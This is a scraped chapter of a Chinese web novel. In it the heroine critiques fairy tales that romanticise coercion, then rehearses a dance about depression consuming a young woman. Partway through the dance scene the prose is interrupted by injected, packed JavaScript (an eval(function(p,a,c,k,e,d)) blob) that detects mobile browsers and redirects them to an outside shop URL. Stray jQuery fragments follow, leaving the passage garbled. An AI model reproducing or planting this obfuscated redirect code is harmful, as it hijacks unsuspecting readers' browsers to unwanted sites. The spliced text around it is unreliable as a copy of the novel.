默认冷灰
24号文字
方正启体

140. 白与灰

作者:叔戊本书字数:K更新时间:
    用反封建来转移故事焦点,用美好的“爱情”来模糊道德沦陷。一些民间意淫和,市场选择,结合政治价值导向,塑造家庭与婚姻,构建了所谓的爱情观。


    牛郎织女,胁迫与被胁迫的两性关系,切换时代转眼又成了“现实中当然不啊但小说就喜欢”的疯批霸道强制爱。


    “说真的,几百年几千年换汤不换药。”


    --“你在消费着这样的文化,好像觉得它不过是给你提供快乐,不过是一种乐子。但是在不知不觉当中,构造了你的情感方式、构造了你的价值观念、构造了你的生活方式,构造了你的向往、你的恐惧和你的需求的,正是那些你轻松地去消遣的东西。而同时也正是这些轻松消遣的东西,它悄然地改变着整个中国的视界,中国的社会,改变着这个社会的结构、改变着人与人之间的关系,改变着人们对于生命、对于爱、对于恨、对于死亡等等最基本的观念。”①


    Youarewhatyoueat?人如其食


    Youeatwhatyouare。食如其人


    很多故事,童话,都被包装成浪漫爱情,让孩子们,尤其是女孩们,从小听、看、幻想。幻想从天而降的王子骑士霸总,幻想爱情幻想婚姻,幻想天凉王破就是真爱无敌,幻想相夫教子就一定平凡和美。


    时至今日,站在当下的历史节点,有人发出了疑问。


    白雪公主解毒的吻初衷难道不是猥亵?


    睡美人的真爱之吻难道不是乘人之危?


    美女与野兽难道不是一出非法监禁与斯德哥尔摩综合症的犯罪心理学探讨?


    被偷了衣服的织女又究竟因为什么而委身于牛郎困在河西?


    同样是报恩,白蛇为嫁许官人化身成白娘子,老黄牛为什么不化身成黄娘子而是教唆牛郎去偷衣服?


    为什么没有二元性别概念可以随意选择化身形象的精怪要为了力量远不如自己的人类幻化成服务人类需求的样子?


    为什么报恩就一定得是以身相许?


    以及。


    那是爱情吗?


    或者。


    有爱情吗?


    “爱情,从以为异性之间才是爱情,到认识到同性也可以有爱情。我认为性是爱情的必要条件,也有人坚持柏拉图就是单纯的柏拉图。我说我们之间的是爱情。所有人都会说我们之间这是爱情。但我对爱情的认知和概念,所有人对爱情的认知和概念,也是被塑造出来的。被这个社会塑造出来的。所以我们这真的是爱情吗?又或者,爱情到底是什么?爱情是存在的吗?”


    段野张着嘴,好半晌,“那我们之间,是虚无吗?”


    姜与笑了。


    “我不知道。”


    但我知道,我不是天上的织仙女,你也不是地上的牵牛郎,我们在一起不是因为你偷藏了折断了我的翅膀,我想飞走随时都能翱翔远方。


    扯远了。


    “我原来对织女牛郎故事的记忆也是反封建强权反包办婚姻,我没觉得那是爱情,但我的确也一直将这两个角色视为一体和七夕、情人节绑定。”姜与换掉了居家的老头背心和花短裤,“我没有把它当作|爱情经典,但我有把它当作一个营销噱头。跟光棍节、520、某18一样,商家为了促销的噱头。啧,说到底我这样的个体户也是万恶的迷你资本家啊。”


    “卖货赚钱比起迷信爱情,要务实很多了。”


    “所以啊,人总是要进步的,以前蠢,但现在,就算卖课引流我也不能拿吃人的法治案件做噱头。”


    “那你以后都不办七夕派对了吗?”说到底谁要管犯罪慊疑人牛某啊,可那是他爱情生根的纪念日好吗,“以后不能过七夕了吗?”


    “当然可以过。”姜与捏了捏那张委屈巴巴的脸。


    资本将各种节日都能重新定义为消费日,对于普通人而言,七夕也好,五二七也好,一三一四也好,也只不过是平凡琐碎生活中的一点调剂,有点特别的某一天罢了。


    “不过我现在再要办七夕派对的话,”她用力蹬上一只马丁靴,“那肯定是虽远必诛每年跨越鹊桥锄奸惩恶反复鞭尸拐卖犯的主题啊。”


    搞什么浪漫双人舞?现场防身术一对一擒拿教学走起!


    “走了。”她穿好另一只靴子。


    “排练吗?”


    “嗯。”姜与神情悲壮,“这一趴不简单呐。”


    段野举起两只拳头也是一脸肃穆,“加油!”


    .


    给蓝序书清排的这支舞是姜与很多年前就有的一个想法。


    彼时她刚出移植仓,有一次嘉兴在闲聊中透露了自己被确诊轻度抑郁的事实。当年社会大众普遍对于抑郁症没什么认知,当然也不像现在这样互联网人均“抑郁”而真正的抑郁症患者却被顽梗甚至被嘲笑辱骂。姜与清楚那不是“心情不好”,她知道那是疾病,是她并没有深入了解过的疾病。她很怕自己会说错什么。于是那天晚上,结束通话,她做了很多检索和学习。她希望作为朋友她能给嘉兴哪怕一点精神上的支持。也是那天晚上,半夜,躺在狭小的层流病床上,灵感爆发。她用纸笔记录下脑海中的情绪与思路,那是一篇她自己再无法传达的故事。


    “小清,你演的是一个人。”


    “嗯。我是人。”书清十分认真。


    “厉害了宋书清都能演人了。”


    “别闹。”姜与扯了扯蓝序的缰绳,“你。你是一,坨……”


    扑哧。这回是书清没忍住。


    姜与也憋着笑,“你是一个,很,抽象的东西。”


    “有你抽象吗?”


    “你是一种情绪。”呼,专业专业,“一种消极的情绪,整个舞蹈就是你逐渐吞噬她,这个正常的,健康的人,的过程。”


    “哇这么酷吗。”


    “到时候会给你们两个做一样的造型,发型啊,衣服啊,衣服我现在想的是,吊带连衣裙?”


    “现代舞的那种?”


    “对。要能配合舞蹈流动性,我也想用肌肉线条保留那种raw(未经加工的)的感觉。然后,全素,特别素。光脚。头发全扎起来吧,低发髻,不要飞来飞去,要让注意力全集中在肢体上。然后,小清你穿白色,蓝序穿灰色,蓝序整个人也要涂成灰色。”


    “嘶……”两人倒吸一口气,“鸡皮疙瘩耶。”


    “整个故事讲的就是一个人被消极情绪盯上到被吞噬的这么一个历程。”


    随着姜与对故事和舞台的深度剖析,蓝序书清情绪带入渐渐也变得严肃。


    起。


    整个舞台曝露在灯光下,白衣女孩翩跹舞蹈着她的人生,而她并没发觉,角落向她铺散蔓延的阴影中,一只灰色的鬼魅悄然模仿着她的一举一动,盯着她,好奇地。


    承。


    灰色鬼魅生出了自己的意志,她不再模仿,她开始向女孩靠近,她出现在女孩身后。


    她指甲擦过她的左脸,她向左看;


    她手掌抚上她的右肩,她向右看;


    她蛇形缠绕她的腰间,她低头看;


    她却又从她背上翻越,她什么也没看见。


    她像触手像藤蔓,试探着、挑逗着,饱含顽劣恶意。看不见的未知如同逐渐吞噬光圈的阴影,女孩在越来越小的光亮里,愈发恐惧。


    转。


    再又一次捉迷藏游戏中女孩终于看清了鬼魅的脸。她们面对面,她近在眼前,她鼻尖蹭着她的鼻尖,灰色的面,乌色的眼,诡异的笑颜。


    她逃!<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137694|185824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    跳跃,她与她十指缠绕;翻滚,她扼住她的双脚;匍匐,她宛若孩童和她一起打滚胡闹。


    她要逃!


    这一次,女孩义无反顾,她朝着光来的方向,那是出口那是希望,她奋力一跃,她就要逃离阴影就要触及光芒……


    “Bam!”姜与击掌,“她要飞出去的时候你从后面抱住她的腰,像安全带一样。你呢,四肢和身体有个对抗的力,甩出去往前延伸,去抓,但够不到因为她在后面拽着你不让你逃。”


    “嘶……这个……”


    “这个托举是高潮,但确实不容易,全靠配合。蓝序你在后面还得有力量,因为小清整个人往外有个速度加上她本身的重量,你要能扛住这股力还要抓得住她。”


    “嘶……”


    按照姜与的设计,里面有许多翻滚跳跃等动作是她们平时很少用到的高难度技巧,更别提这种托举,配合不好或者蓝序手没抓紧,一个不小心书清可能会直接摔下舞台。


    “安全肯定是第一位。我们先尝试一下,如果确实勉强就不要硬来,可以换动作。”


    “别啊。”书清压抑着自己的激动,“改了很难达到视觉效果吧。这个跳好了多有冲击力。”


    “来!”蓝序马步一扎大腿一拍,“来吧放心把你的后背交给我,姐姐肌肉不是白练的。”


    “托举也有技巧。”姜与笑,“你们两个一起助跑,像接力那样。然后啪,那一下,从观众角度看起来书清好像要被甩出去了,但其实你的核心那一刻一定是收紧的,你的重心要提起来……对对对!上面的人只要提气,下面就会轻松很多。


    “我们以前排练,有些dancer不会提气,整个人重心全沉在下面,那样子男生举都很费劲,而且落地duang一声砸下来像个石头墩子一样。


    “还能再跳高一点吗?这一刻整个故事,灯光,全聚焦在你一个人身上,所以在空中也要控制肢体和表情。


    “对对,飞起来了但是不能蜷着,你一蜷缩观众什么都看不到了。你要表现挣扎、逃脱失败那一瞬间的绝望,你的情绪你的表情可以放飞但你的身体不能乱飞。四肢不仅要朝前延伸还要往四面八方,把脸露出来。”


    …………


    “休息一下休息一下。”


    书清蹒跚着去喝水,蓝序直接跪倒在地,夜深人静的舞房里只剩下二人粗重的喘息。


    每天下班哪怕姜与不在没有特殊情况蓝序和书清都会过来练习。日复一日,一次又一次,从小心翼翼到游刃有余,膝盖上手肘上的淤青见证了她们的拼命努力。姜与让她们戴护膝,她们却说上台又不可能戴护膝。


    傻孩子。


    也不知道跟了谁。


    “你刚才,我感觉我都要脱手了。”


    “我起跳太高了吗?”


    “没没,但是勒着小腹那里你不会疼吗?”


    “还行,绷着力没感觉。”


    “我还是站高一点吧,万一你上半身掉出去了。”


    “你站高了重心容易不稳,再磨一下吧。”


    “yo,”姜与终于出声,“很晚啦。”


    “再顺一遍。”她们说。


    “最后一遍啊,别透支了。”


    经过调整这一遍确实协调多了。


    “走了走了。”姜与开始替她们收拾东西,像个老妈子一样,“回家吧,AdLib不让熬夜排练。”


    “你今天去我那里呗这么晚了。”蓝序接过背包对书清说。


    “好啊。”


    “去我那儿啊。”姜与头一甩,“段野不在。”


    闻言蓝序胳膊一伸一左一右圈住二人,“回家!”


    “我想吃冰棍。”


    “家里有。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)